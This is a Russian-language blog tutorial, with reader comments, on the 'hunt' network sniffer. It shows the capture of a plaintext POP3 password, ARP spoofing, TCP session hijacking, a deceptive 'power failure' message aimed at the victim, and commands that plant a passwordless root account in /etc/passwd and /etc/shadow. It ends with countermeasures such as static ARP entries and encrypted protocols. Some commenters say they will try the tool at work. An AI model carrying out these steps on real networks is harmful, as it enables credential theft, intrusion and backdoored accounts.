• Категории
  • Подписка
  • Разместить статью
25/08/10 19 6646 Сетевые анализаторы
-

Слушаем сеть утилитой HUNT

Один из самых толковых снифферов, hunt обладает возможностями как анализатора пакетов, так и средствами для перехвата сеансов. Давайте рассмотрим не большой пример работы утилиты hunt:

192.168.0.103   [1069]   —>  172.23.98.91   [110]

+ОК QPOP   (version  2.53)   at  testbox.example_web.net starting.

192.166.0.103   [1069]   —>  172.23.98.91   [110]

USER testuser

192.168.0.103   [1069]   —>   172.23.98.91   [110]

PASS test1

Этот фрагмент информации, перехваченной hunt, показывает, как эта про­грамма позволяет определять имена пользователей и паролей. В данном случае пользователь (testuser) получал почту с РОР-сервера с использованием пароля test1. Как видно, возможности программы впечатляют. А теперь сконцентрируем все внимание на том, как hunt позволяет выпол­нять улучшенное прослушивание и перехват сеансов.

Прослушивание коммутируемых сетей с помощью hunt

Когда сеть поддается прослушиванию, программа hunt позволяет прослеживать любые ус­тановленные соединения в пассивном режиме, который отличается от методов прослушивания других анализаторов пакетов. Но при использовании коммутируемых сетей прослушивание в общем случае неэффективно. В таких сетях с помощью таблиц MAC-адресов пакеты отправля­ются только конкретному хосту. Т.е. пакеты никогда не передаются компьютеру, которому они не предназначены.

Широковещательные пакеты отправляются на каждый физический порт, при этом используется МАС-адрес FF:FF:FF:FF:FF:FF. Благодаря этому компьютеры, использующие протоколы наподобие ВООТР или DHCP, мо­гут находить хосты без сведений о конфигурации сети.

Сетевые адаптеры Ethernet отправляют широковещательный ARP-запрос узлам сети о нали­чии у них MAC-адреса, соответствующего определенному IP-адресу. Полученные соответствия сохраняются в кэше для выполнения более быстрого поиска в следующий раз. Просмотр теку­щей ARP-таблицы можно осуществить с помощью команды arp.

Программа hunt позволяет обмануть компьютеры, создавая новые соответствия IP-адресов машин физическим адресам компонентов сети (МАС-адресам). Этот метод называют ARPподменой (ARP spoofing или ARP forcing). Представим себе, что хакер хочет прослушивать трафик, передающийся между двумя компьютерами, но поскольку они установлены в сети с коммута­цией пакетов, то он лишен такой возможности. Прежде всего, давайте посмотрим на ARP-таблицы двух интересующих нас компьютеров.

server$  arp -a

client   (192.168.2.10)   at  77 : 77 : 77 : 77 : 77 : 77 [ether]   on ethO

mail    (192.168.2.20)   at   44 : 44 : 44 : 44 : 44 : 44   [ether]   on ethO

client$ arp -a

server  (192.168.2.15)  at  88 : 88 : 88 : 88 : 88 : 88   [ether]   on ethO

mail  (192.168.2.20)     at 44 : 44 : 44 : 44 : 44 : 44   [ether]  on  ethO

gateway  (192.168.2.1)   at   66 : 66 : 66 : 66 : 66 : 66   [ether]   on ethO

С помощью hunt хакер входит в меню ARP-демона и устанавливает подложные МАС-адреса на обоих хостах.

— arpspoof daemon — rcvpkt 2212, free/alloc 63/64 ——

s/k)      start/stop relayer daemon

l/L)      list arp spoof database

a)         add host to host arp spoof    i/I) insert single/range arp spoof

d)        delete host to host arp spoof  r/R) remove single/range arp spoof

t/T)      test if arp spoof successed   y) relay database

x)         return

-arps> a

src/dst hostl to arp spoof> client

hostl fake mac [EA:1A:DE:AD:BE:Q5]>

src/dst host2 to arp spoof> server

hostl fake mac [EA:1A:DE:AD:BE:06]>

refresh interval  sec   [0]>

-arps> l

on 192.168.2.10    is 192.168.2.15    аs EA:1A:DE:AD:BE:05 refresh Os

on 192.168.2.15    is 192.168.2.10    as EA:1A:DE:AD:BE:06 refresh Os

Теперь снова обратимся к ARP-таблицам наших компьютеров:

server$  arp -a

mail   (192.168.2.20)   at   44 : 44 : 44 : 44 : 44 : 44   [ether]   on ethO

client (192.168.2.10)   at  EA:1A:DE:AD:BE:05   [ether]   on  ethO

client$ arp -a

mail (192.168.2.20) at 44 : 44 : 44 : 44 : 44 : 44   [ether]   on ethO

gateway (192.168.2.1)   at 66 : 66 : 66 : 66 : 66 : 66  [ether]   on ethO

server   (192.168.2.15)   at  EA:1A:DE:AD:BE:06   [ether]   on  ethO

С этого момента компьютер хакера будет отвечать на запросы для двух новых MAC-адресов, которые были добавлены в ARP-таблицы компьютеров client и server. Затем хакер запус­тит ARP-демон ретрансляции пакетов, который позволит пересылать пакеты от одного хоста другому, не информируя их о промежуточном узле передачи.

— arpspoof daemon — rcvpkt 2493, free/alloc 63/64 ——

s/k)      start/stop relayer daemon

l/L)      list arp spoof database

a)         add host to host arp spoof    i/I) insert single/range arp spoof

d)        delete host to host arp spoof  r/R) remove single/range arp spoof

t/T)      test if arp spoof successed   y) relay database

x)         return

*arps> s

daemon started

Даже если client попробует выполнить команду ping или traceroute для проверки со­единения c server, то внешне все будет выглядеть вполне нормально.

client$ tracaroute server

traceroute to server.example.com (192.168.2.10), 30 hops max, 38 byte packets

1     server.example.com (192.168.2.10)     2.841 ms     2.717  ms    2.712 ms

client$

Но при этом все пакеты, передающиеся между двумя хостами, будут проходить через ма­шину хакера. Т.е. все устанавливаемые соединения будут доступны для прослушивания с по­мощью hunt или любого другого анализатора пакетов, запущенного на компьютере нарушителя.

Перехват сеансов с помощью hunt

При использовании самых простых средств перехвата сеансов нарушитель отправляет паке­ты серверу, которые будут им идентифицированы как пакеты, поступившие от легитимного клиента. На поступившие пакеты cервер отвечает как обычно – пакетом с установленным фла­гом АСК (пакетом подтверждения). Но поскольку легитимный клиент ничего не отправлял, то в ответ на АСК-пакет он отправит собственный АСК-пакет. Обе машины продолжают обмени­ваться АСК-пакетами, и возникает ситуация, которую называют лавиной ACK-пакетов (АСК storm), или АСК-наводнением (АСК flooding). С этого момента сеанс становится абсолютно бес­полезным.

Программа hunt позволяет использовать возможность ARP-подмены для осуществления более простого перехвата сеансов во избежание создания АСК-наводнения. Поскольку эта про­грамма может заставить два компьютера взаимодействовать посредством машины хакера, то hunt позволяет отбирать пакеты, которые будут доставлены каждой из сторон. Хакеры ис­пользуют параметр ‘s’ (в главном меню Программы hunt) для обычного перехвата сеанса, или с помощью параметра ‘a’ можно провести ARP-подмену с одновременным перехватом сеанса для осуществления более надежной атаки.

— Main Menu — rcvpkt  163,   free/alloc  63/64 ——

l/w/r)   list/watch/reset  connections

u)   host  up tests

a)    arp/simple hijack   (avoids  ack storm if arp used)

s)    simple hijack

d)   daemons   rst/arp/sniff/mac

o)   options

x)   exit

*>a

0)192.168.2.10       [2983] —>  192.168.2.15           [23]

1)192.168.2.10       [4887] —>  192.168.2.15           [25]

2)192.168.2.15     [18827] —>   192.168.2.10 [21]

3)192.168.2.10     [58273] —>   192.168.2.15 [23]

4)192.168.2.10       [1020] —>   192.168.2.15 [22]

choose conn>  0

arp spoof  src  in dst  y/n   [y]>

src  MAC   [EA:1A:DE:AD:BE:03]>

arp spoof dst in src y/n [y]>

dst MAC [EA:1A:DE:AD:BE:04]>

input mode   [r]aw,    [l]ine+echo+\r,   line+[e]cho   [r]>

dump connectin y/n   (y)>

dump   [s]rc/[d]st/[b]oth   [b]>

print  src/dst  same  characters   y/n   In]>

CTRL-C to break

Программа hunt позволяет хакеру прослушивать соединение до тех пор, пока он не решит, что настал благоприятный момент для перехвата сеанса.

server#  cd  /etc/rc.d/rc2.d

server#  rm $85gpm

<нарушитель  нажимает клавиши CTRLC>

— press  any  key> you  took over  the  connection

CTRL-C   to break

server# arp -a

client.exaraple.com (192.168.2.15)   at  EA:1A:DE:AD:BE:03 on ethO

mail   (192.168.2.20)   at 44 : 44 : 44 : 44 : 44 : 44   [ether]   on ethO

server#  echo   ‘r00t : : : : : : : :’  »  /etc/shadow

server#   echo   ‘r00t:x:0:0:r00t:/root:/bin/bash’   »  /etc/passwd

С этого момента хакер получил полный контроль над соединением. Пользователь, который организовал соединение, приходит в замешательство, так как hunt «любезно» выдает пригла­шение после ввода им любой команды.

server#  rm $85gpm

<с этого момента   соединением управляет хакер>

ls

$   ls  -la

$ pwd

$ ps -ef

$ hostname

Как видно из вышеприведенного листинга, пользователь пытался выяснить, что произош­ло, так как он получал приглашения, а ни одна команда не выполнялась. Вероятнее всего, в этом случае пользователь разорвет соединение и постарается подключится заново, предполагая, что просто произошло что-то необъяснимое.

Для собственной безопасности всегда проверяйте причину любых отклоне­ний от нормальной работы в сети.

После того как хакер выполнит нужные команды с помощью перехваченного сеанса, он может разорвать соединение. В этом случае hunt отправляет соответствующий ТСР-пакет (RST) на каждый из хостов. Еще одним вариантом является попытка синхронизации соедине­ния, когда управление соединением вновь возвращается легитимному пользователю. Для синхронизации потребуется отправка значительного количества символов на каждый из компью­теров, как показано ниже.

[r]eset  connection/[s]ynchronize/[n]one   [r]>  s

user have  to  type  4   chars and print  318  chars  to synchronize  connec­tion

CTRL-C to break

Если решено заставить пользователя вводить необходимое количество символов, то hunt позволяет провести атаку социальной инженерии (пользователя просят ввести четыре символа в связи с ошибкой).

msg  from root:   power   failure  —   try to type  4   chars

help

power failure detected

… power resumed, ok

server#

Любой новичок может попасться на эту хитрость и искренне полагать, что теперь все в по­рядке.

Меры противодействия атакам с помощью hunt

Не существует способа для предотвращения перехватов пакетов в сети с общей средой пере­дачи. Поэтому, чтобы противодействовать любому типу прослушивания, для соединения ком­пьютеров вместо концентраторов желательно использовать коммутаторы. Тем не менее, архи­тектура коммутируемых сетей не позволяет защититься от описанных выше атак ARP-подмены, даже при использовании специального порта управления, позволяющего контроли­ровать соединения на коммутаторе.

Единственным возможным решением проблемы является жесткое кодирование MAC-адресов на локальных компьютерах таким образом, чтобы их не смогли изменить ни отправ­ляемые ARP-запросы, ни получаемые ARP-ответы. В файле /etc/ethers нужно вручную за­писать строки с соответствиями аппаратных МАС-адресов устройств IP-адресам компьютеров.
Они должны выглядеть примерно так, как показано ниже.

77 : 77 : 77 : 77 : 77 : 77        192.168.2.10

88 : 88 : 88 : 88 : 88 : 88        192.168.2.15

44 : 44 : 44 : 44 : 44 : 44        192.168.2.20

66 : 66 : 66 : 66 : 66 : 66        192.168.2.1

Очевидно, что это довольно сложное и явно нерациональное решение. Каждый раз при до­бавлении нового компьютера или смене сетевого адаптера Ethernet придется обновлять этот файл на всех хостах локальной сети. Кроме того, таким способом можно предотвратить атаку, когда соединение происходит с компьютером, подключенным к той же сети. Если же хакер работает в сети, расположенной между компьютером-клиентом и компьютером-сервером, то он может провести ARP-подмену в точке, которая находится за пределами компетенции систем­ного администратора.

Более надежным решением можно назвать применение протоколов, обеспечивающих шифрование передающегося трафика. Хакер может успешно перехватить установленный за­шифрованный TCP-сеанс связи, но он не сможет ни получить никакой полезной информа­ции, ни вставить собственные команды в поток зашифрованных данных, так как он не знает ключей, использующихся для шифрования сообщений. Поэтому при попытке хакера внести свои данные, сервер распознает, что они не были правильно зашифрованы и немедленно обор­вет соединение.

Таким образом, самое плохое, что может сделать хакер при использовании шифрования пе­редаваемых данных — это вызвать разрыв установленного соединения. Не так уж плохо, ведь это не принесет ему никакой пользы.

Для подключения к удаленным компьютерам и обмена файлами профессионалы рекомендуют исполь­зовать OpenSSH (доступный по адресу http://www.openssh.com/ (см. www.openssh.com)), который обладает все­ми функциональными возможностями протоколов telnet, rlogin, RSH и FTP, и при этом обеспечивает полное шифрование всех передаваемых данных. Для обмена HTTP-данными можно использовать протокол HTTPS, который является SSL-версией (обеспечивающей обмен кодированными сообщениями) протокола HTTP.


19 комментариев на «“Слушаем сеть утилитой HUNT”»

  1. dveri Rus:

    Впечатлил функционал, спасибо за утилиту

  2. Grek:

    Интересная вещь, спасибо за информацию, буду использовать.

  3. seodva:

    Спасибо за инфу, пшёл качать прогу охотника:)

  4. Dorman:

    Интересно, побольше бы информаций по этой теме.

  5. Kokh:

    Вот это программка! Я в шоке. У меня тоже VPN соединение. буду знать. Спасибо за обзор

  6. Master:

    Надо будет попробывать на работе, может что нибудь услышу

  7. coolhackers:

    Программа, конечно, впечатляет своими возможностями, но не стоит переживать из-за нее. Все равно те, у кого руки кривые не сможет ей пользоваться толково.

  8. Программа очень интересна. Обязательно попробую и отпишусь.

Добавить комментарий

Яндекс.Метрика